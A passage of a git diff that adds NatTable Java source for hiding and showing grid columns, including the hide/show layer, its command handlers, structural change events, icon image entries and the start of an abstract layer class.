underlyingColumnPositionRanges) { + int startColumnPosition = getAdjustedUnderlyingToLocalStartPosition(sourceUnderlyingLayer, underlyingColumnPositionRange.start, underlyingColumnPositionRange.end); + int endColumnPosition = getAdjustedUnderlyingToLocalEndPosition(sourceUnderlyingLayer, underlyingColumnPositionRange.end, underlyingColumnPositionRange.start); + + // teichstaedt: fixes the problem that ranges where added even if the + // corresponding startPosition weren't found in the underlying layer. + // Without that fix a bunch of ranges of kind Range [-1, 180] which + // causes strange behaviour in Freeze- and other Layers were returned. + if (startColumnPosition > -1) { + localColumnPositionRanges.add(new Range(startColumnPosition, endColumnPosition)); + } + } + + return localColumnPositionRanges; + } + + private int getAdjustedUnderlyingToLocalStartPosition(ILayer sourceUnderlyingLayer, int startUnderlyingPosition, int endUnderlyingPosition) { + int localStartColumnPosition = underlyingToLocalColumnPosition(sourceUnderlyingLayer, startUnderlyingPosition); + int offset = 0; + while (localStartColumnPosition < 0 && (startUnderlyingPosition + offset < endUnderlyingPosition)) { + localStartColumnPosition = underlyingToLocalColumnPosition(sourceUnderlyingLayer, startUnderlyingPosition + offset++); + } + return localStartColumnPosition; + } + + private int getAdjustedUnderlyingToLocalEndPosition(ILayer sourceUnderlyingLayer, int endUnderlyingPosition, int startUnderlyingPosition) { + int localEndColumnPosition = underlyingToLocalColumnPosition(sourceUnderlyingLayer, endUnderlyingPosition - 1); + int offset = 0; + while (localEndColumnPosition < 0 && (endUnderlyingPosition - offset > startUnderlyingPosition)) { + localEndColumnPosition = underlyingToLocalColumnPosition(sourceUnderlyingLayer, endUnderlyingPosition - offset++); + } + return localEndColumnPosition + 1; + } + + // Width + + @Override + public int getWidth() { + int lastColumnPosition = getColumnCount() - 1; + return getStartXOfColumnPosition(lastColumnPosition) + getColumnWidthByPosition(lastColumnPosition); + } + + // X + + @Override + public int getColumnPositionByX(int x) { + return LayerUtil.getColumnPositionByX(this, x); + } + + @Override + public int getStartXOfColumnPosition(int localColumnPosition) { + Integer cachedStartX = startXCache.get(Integer.valueOf(localColumnPosition)); + if (cachedStartX != null) { + return cachedStartX.intValue(); + } + + IUniqueIndexLayer underlyingLayer = (IUniqueIndexLayer) getUnderlyingLayer(); + int underlyingPosition = localToUnderlyingColumnPosition(localColumnPosition); + int underlyingStartX = underlyingLayer.getStartXOfColumnPosition(underlyingPosition); + + for (Integer hiddenIndex : getHiddenColumnIndexes()) { + int hiddenPosition = underlyingLayer.getColumnPositionByIndex(hiddenIndex.intValue()); + if (hiddenPosition <= underlyingPosition) { + underlyingStartX -= underlyingLayer.getColumnWidthByPosition(hiddenPosition); + } + } + + startXCache.put(Integer.valueOf(localColumnPosition), Integer.valueOf(underlyingStartX)); + return underlyingStartX; + } + + // Vertical features + + // Rows + + public int getRowPositionByIndex(int rowIndex) { + return ((IUniqueIndexLayer) getUnderlyingLayer()).getRowPositionByIndex(rowIndex); + } + + // Hide/show + + public abstract boolean isColumnIndexHidden(int columnIndex); + + public abstract Collection getHiddenColumnIndexes(); + + // Cache + + protected void invalidateCache() { + cachedVisibleColumnIndexOrder = null; + startXCache.clear(); + } + + private List getCachedVisibleColumnIndexes() { + if (cachedVisibleColumnIndexOrder == null) { + cacheVisibleColumnIndexes(); + } + return cachedVisibleColumnIndexOrder; + } + + private void cacheVisibleColumnIndexes() { + cachedVisibleColumnIndexOrder = new ArrayList(); + cachedHiddenColumnIndexToPositionMap = new HashMap(); + startXCache.clear(); + + ILayer underlyingLayer = getUnderlyingLayer(); + int columnPosition = 0; + for (int parentColumnPosition = 0; parentColumnPosition < underlyingLayer.getColumnCount(); parentColumnPosition++) { + int columnIndex = underlyingLayer.getColumnIndexByPosition(parentColumnPosition); + + if (!isColumnIndexHidden(columnIndex)) { + cachedVisibleColumnIndexOrder.add(Integer.valueOf(columnIndex)); + columnPosition++; + } else { + cachedHiddenColumnIndexToPositionMap.put(Integer.valueOf(columnIndex), Integer.valueOf(columnPosition)); + } + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/ColumnHideShowLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/ColumnHideShowLayer.java new file mode 100644 index 0000000..9b78330 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/ColumnHideShowLayer.java @@ -0,0 +1,123 @@ +package net.sourceforge.nattable.hideshow; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.Properties; +import java.util.Set; +import java.util.StringTokenizer; +import java.util.TreeSet; + +import net.sourceforge.nattable.hideshow.command.ColumnHideCommandHandler; +import net.sourceforge.nattable.hideshow.command.MultiColumnHideCommandHandler; +import net.sourceforge.nattable.hideshow.command.MultiColumnShowCommandHandler; +import net.sourceforge.nattable.hideshow.command.ShowAllColumnsCommandHandler; +import net.sourceforge.nattable.hideshow.event.HideColumnPositionsEvent; +import net.sourceforge.nattable.hideshow.event.ShowColumnPositionsEvent; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; + +public class ColumnHideShowLayer extends AbstractColumnHideShowLayer { + + public static final String PERSISTENCE_KEY_HIDDEN_COLUMN_INDEXES = ".hiddenColumnIndexes"; + + private final Set hiddenColumnIndexes; + + public ColumnHideShowLayer(IUniqueIndexLayer underlyingLayer) { + super(underlyingLayer); + this.hiddenColumnIndexes = new TreeSet(); + + registerCommandHandler(new MultiColumnHideCommandHandler(this)); + registerCommandHandler(new ColumnHideCommandHandler(this)); + registerCommandHandler(new ShowAllColumnsCommandHandler(this)); + registerCommandHandler(new MultiColumnShowCommandHandler(this)); + } + + // Persistence + + @Override + public void saveState(String prefix, Properties properties) { + if (hiddenColumnIndexes.size() > 0) { + StringBuilder strBuilder = new StringBuilder(); + for (Integer index : hiddenColumnIndexes) { + strBuilder.append(index); + strBuilder.append(','); + } + properties.setProperty(prefix + PERSISTENCE_KEY_HIDDEN_COLUMN_INDEXES, strBuilder.toString()); + } + + super.saveState(prefix, properties); + } + + @Override + public void loadState(String prefix, Properties properties) { + String property = properties.getProperty(prefix + PERSISTENCE_KEY_HIDDEN_COLUMN_INDEXES); + if (property != null) { + hiddenColumnIndexes.clear(); + + StringTokenizer tok = new StringTokenizer(property, ","); + while (tok.hasMoreTokens()) { + String index = tok.nextToken(); + hiddenColumnIndexes.add(Integer.valueOf(index)); + } + } + + super.loadState(prefix, properties); + } + + // Hide/show + + @Override + public boolean isColumnIndexHidden(int columnIndex) { + return hiddenColumnIndexes.contains(Integer.valueOf(columnIndex)); + } + + @Override + public Collection getHiddenColumnIndexes(){ + return hiddenColumnIndexes; + } + + public void hideColumnPositions(Collection columnPositions) { + Set columnIndexes = new HashSet(); + for (Integer columnPosition : columnPositions) { + columnIndexes.add(Integer.valueOf(getColumnIndexByPosition(columnPosition.intValue()))); + } + hiddenColumnIndexes.addAll(columnIndexes); + invalidateCache(); + fireLayerEvent(new HideColumnPositionsEvent(this, columnPositions)); + } + + public void showColumnIndexes(int[] columnIndexes) { + Set columnIndexesSet = new HashSet(); + for (int i = 0; i < columnIndexes.length; i++) { + columnIndexesSet.add(Integer.valueOf(columnIndexes[i])); + } + hiddenColumnIndexes.removeAll(columnIndexesSet); + invalidateCache(); + fireLayerEvent(new ShowColumnPositionsEvent(this, getColumnPositionsByIndexes(columnIndexes))); + } + + protected void showColumnIndexes(Collection columnIndexes) { + for (int columnIndex : columnIndexes) { + hiddenColumnIndexes.remove(Integer.valueOf(columnIndex)); + } + invalidateCache(); + // Since we are exposing this method for showing individual columns, a structure event must be fired here. + fireLayerEvent(new ShowColumnPositionsEvent(this, columnIndexes)); + } + + public void showAllColumns() { + Collection hiddenColumns = new ArrayList(hiddenColumnIndexes); + hiddenColumnIndexes.clear(); + invalidateCache(); + fireLayerEvent(new ShowColumnPositionsEvent(this, hiddenColumns)); + } + + private Collection getColumnPositionsByIndexes(int[] columnIndexes) { + Collection columnPositions = new HashSet(); + for (int columnIndex : columnIndexes) { + columnPositions.add(Integer.valueOf(getColumnPositionByIndex(columnIndex))); + } + return columnPositions; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ColumnHideCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ColumnHideCommand.java new file mode 100644 index 0000000..4d8c0f2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ColumnHideCommand.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.hideshow.command; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class ColumnHideCommand extends AbstractColumnCommand { + + public ColumnHideCommand(ILayer layer, int columnPosition) { + super(layer, columnPosition); + } + + protected ColumnHideCommand(ColumnHideCommand command) { + super(command); + } + + public ColumnHideCommand cloneCommand() { + return new ColumnHideCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ColumnHideCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ColumnHideCommandHandler.java new file mode 100644 index 0000000..864f2a6 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ColumnHideCommandHandler.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.hideshow.command; + +import static java.util.Arrays.asList; +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; + +public class ColumnHideCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnHideShowLayer columnHideShowLayer; + + public ColumnHideCommandHandler(ColumnHideShowLayer columnHideShowLayer) { + this.columnHideShowLayer = columnHideShowLayer; + } + + public Class getCommandClass() { + return ColumnHideCommand.class; + } + + @Override + protected boolean doCommand(ColumnHideCommand command) { + columnHideShowLayer.hideColumnPositions(asList(command.getColumnPosition())); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnHideCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnHideCommand.java new file mode 100644 index 0000000..955460c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnHideCommand.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.hideshow.command; + +import net.sourceforge.nattable.command.AbstractMultiColumnCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class MultiColumnHideCommand extends AbstractMultiColumnCommand { + + public MultiColumnHideCommand(ILayer layer, int columnPosition) { + this(layer, new int[] { columnPosition }); + } + + public MultiColumnHideCommand(ILayer layer, int[] columnPositions) { + super(layer, columnPositions); + } + + protected MultiColumnHideCommand(MultiColumnHideCommand command) { + super(command); + } + + public MultiColumnHideCommand cloneCommand() { + return new MultiColumnHideCommand(this); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnHideCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnHideCommandHandler.java new file mode 100644 index 0000000..536384f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnHideCommandHandler.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.hideshow.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; + +public class MultiColumnHideCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnHideShowLayer columnHideShowLayer; + + public MultiColumnHideCommandHandler(ColumnHideShowLayer columnHideShowLayer) { + this.columnHideShowLayer = columnHideShowLayer; + } + + public Class getCommandClass() { + return MultiColumnHideCommand.class; + } + + @Override + protected boolean doCommand(MultiColumnHideCommand command) { + columnHideShowLayer.hideColumnPositions(command.getColumnPositions()); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnShowCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnShowCommand.java new file mode 100644 index 0000000..c4add32 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnShowCommand.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.hideshow.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class MultiColumnShowCommand extends AbstractContextFreeCommand{ + + private final int[] columnIndexes; + + public MultiColumnShowCommand(int[] columnIndexes) { + this.columnIndexes = columnIndexes; + } + + protected MultiColumnShowCommand(MultiColumnShowCommand command) { + columnIndexes = new int[command.columnIndexes.length]; + System.arraycopy(command.columnIndexes, 0, columnIndexes, 0, command.columnIndexes.length); + } + + public int[] getColumnIndexes() { + return columnIndexes; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnShowCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnShowCommandHandler.java new file mode 100644 index 0000000..461795e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/MultiColumnShowCommandHandler.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.hideshow.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; + +public class MultiColumnShowCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnHideShowLayer columnHideShowLayer; + + public MultiColumnShowCommandHandler(ColumnHideShowLayer columnHideShowLayer) { + this.columnHideShowLayer = columnHideShowLayer; + } + + public Class getCommandClass() { + return MultiColumnShowCommand.class; + } + + @Override + protected boolean doCommand(MultiColumnShowCommand command) { + int[] columnIndexes = command.getColumnIndexes(); + columnHideShowLayer.showColumnIndexes(columnIndexes); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ShowAllColumnsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ShowAllColumnsCommand.java new file mode 100644 index 0000000..ddbf5e4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ShowAllColumnsCommand.java @@ -0,0 +1,6 @@ +package net.sourceforge.nattable.hideshow.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class ShowAllColumnsCommand extends AbstractContextFreeCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ShowAllColumnsCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ShowAllColumnsCommandHandler.java new file mode 100644 index 0000000..ff70de2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/command/ShowAllColumnsCommandHandler.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.hideshow.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; + +public class ShowAllColumnsCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnHideShowLayer columnHideShowLayer; + + public ShowAllColumnsCommandHandler(ColumnHideShowLayer columnHideShowLayer) { + this.columnHideShowLayer = columnHideShowLayer; + } + + public Class getCommandClass() { + return ShowAllColumnsCommand.class; + } + + @Override + protected boolean doCommand(ShowAllColumnsCommand command) { + columnHideShowLayer.showAllColumns(); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/event/HideColumnPositionsEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/event/HideColumnPositionsEvent.java new file mode 100644 index 0000000..045ae3c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/event/HideColumnPositionsEvent.java @@ -0,0 +1,45 @@ +package net.sourceforge.nattable.hideshow.event; + +import java.util.ArrayList; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.PositionUtil; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.ColumnStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.layer.event.StructuralDiff.DiffTypeEnum; + +public class HideColumnPositionsEvent extends ColumnStructuralChangeEvent { + + public HideColumnPositionsEvent(ILayer layer, Collection columnPositions) { + super(layer, PositionUtil.getRanges(columnPositions)); + } + + // Copy constructor + protected HideColumnPositionsEvent(HideColumnPositionsEvent event) { + super(event); + } + + public HideColumnPositionsEvent cloneEvent() { + return new HideColumnPositionsEvent(this); + } + + public Collection getColumnDiffs() { + Collection columnDiffs = new ArrayList(); + + for (Range range : getColumnPositionRanges()) { + StructuralDiff diff = new StructuralDiff(DiffTypeEnum.DELETE, range, new Range(range.start, range.start)); + columnDiffs.add(diff); + } + + return columnDiffs; + } + + @Override + public boolean convertToLocal(ILayer localLayer) { + super.convertToLocal(localLayer); + return true; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/event/ShowColumnPositionsEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/event/ShowColumnPositionsEvent.java new file mode 100644 index 0000000..0eb8c50 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/event/ShowColumnPositionsEvent.java @@ -0,0 +1,47 @@ +package net.sourceforge.nattable.hideshow.event; + +import java.util.ArrayList; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.PositionUtil; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.event.ColumnStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.layer.event.StructuralDiff.DiffTypeEnum; + +public class ShowColumnPositionsEvent extends ColumnStructuralChangeEvent { + + public ShowColumnPositionsEvent(IUniqueIndexLayer layer, Collection columnPositions) { + super(layer, PositionUtil.getRanges(columnPositions)); + } + + // Copy constructor + public ShowColumnPositionsEvent(ShowColumnPositionsEvent event) { + super(event); + } + + public Collection getColumnDiffs() { + Collection columnDiffs = new ArrayList(); + + int offset = 0; + for (Range range : getColumnPositionRanges()) { + columnDiffs.add(new StructuralDiff(DiffTypeEnum.ADD, new Range(range.start - offset, range.start - offset), range)); + offset += range.size(); + } + + return columnDiffs; + } + + public ShowColumnPositionsEvent cloneEvent() { + return new ShowColumnPositionsEvent(this); + } + + @Override + public boolean convertToLocal(ILayer localLayer) { + super.convertToLocal(localLayer); + return true; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_down.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_down.gif new file mode 100644 index 0000000..072b184 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_down.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_left.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_left.gif new file mode 100644 index 0000000..740e8ca Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_left.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_right.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_right.gif new file mode 100644 index 0000000..1956789 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_right.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_up.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_up.gif new file mode 100644 index 0000000..0716475 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/arrow_up.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/auto_resize.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/auto_resize.png new file mode 100644 index 0000000..a2d0e6d Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/auto_resize.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/checked.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/checked.gif new file mode 100644 index 0000000..054a936 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/checked.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/checked_disabled.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/checked_disabled.gif new file mode 100644 index 0000000..7609e69 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/checked_disabled.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column.png new file mode 100644 index 0000000..980a96a Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_categories_chooser.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_categories_chooser.png new file mode 100644 index 0000000..8036cad Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_categories_chooser.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_chooser.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_chooser.png new file mode 100644 index 0000000..b1479a1 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_chooser.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_header.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_header.png new file mode 100644 index 0000000..4f25589 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/column_header.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_0.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_0.png new file mode 100644 index 0000000..5a18714 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_0.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_1.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_1.png new file mode 100644 index 0000000..d0d8f22 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_1.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_2.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_2.png new file mode 100644 index 0000000..af960f7 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/down_2.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/filter.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/filter.png new file mode 100644 index 0000000..3dc266a Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/filter.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/green_button.PNG b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/green_button.PNG new file mode 100644 index 0000000..40c4ec7 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/green_button.PNG differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/hide_column.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/hide_column.png new file mode 100644 index 0000000..01d76bb Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/hide_column.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/left.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/left.png new file mode 100644 index 0000000..2273305 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/left.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/preferences.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/preferences.png new file mode 100644 index 0000000..9460dfc Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/preferences.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/red_button.PNG b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/red_button.PNG new file mode 100644 index 0000000..29994f2 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/red_button.PNG differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/remove_filter.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/remove_filter.png new file mode 100644 index 0000000..bd6390d Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/remove_filter.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/right.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/right.png new file mode 100644 index 0000000..89b1051 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/right.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/show_column.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/show_column.png new file mode 100644 index 0000000..96c0106 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/show_column.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/table_icon.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/table_icon.png new file mode 100644 index 0000000..4fb8157 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/table_icon.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/toggle_filter.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/toggle_filter.png new file mode 100644 index 0000000..7b99a74 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/toggle_filter.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/unchecked.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/unchecked.gif new file mode 100644 index 0000000..17f11fc Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/unchecked.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/unchecked_disabled.gif b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/unchecked_disabled.gif new file mode 100644 index 0000000..9d21f72 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/unchecked_disabled.gif differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_0.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_0.png new file mode 100644 index 0000000..4f151ff Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_0.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_1.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_1.png new file mode 100644 index 0000000..a9c28bd Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_1.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_2.png b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_2.png new file mode 100644 index 0000000..28c10e0 Binary files /dev/null and b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/images/up_2.png differ diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/AbstractLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/AbstractLayer.java new file mode 100644 index 0000000..6362bc1 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/AbstractLayer.java @@ -0,0 +1,274 @@ +package net.sourceforge.nattable.layer; + +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Properties; +import java.util.Set; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.layer.cell.IConfigLabelAccumulator; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.ILayerEventHandler; +import net.sourceforge.nattable.painter.layer.GridLineCellLayerPainter; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.persistence.IPersistable; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.util.IClientAreaProvider; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * Base layer implementation with common methods for managing listeners and caching, etc. + */ +public abstract class AbstractLayer implements ILayer { + + private String regionName; + protected ILayerPainter layerPainter; + private IClientAreaProvider clientAreaProvider = 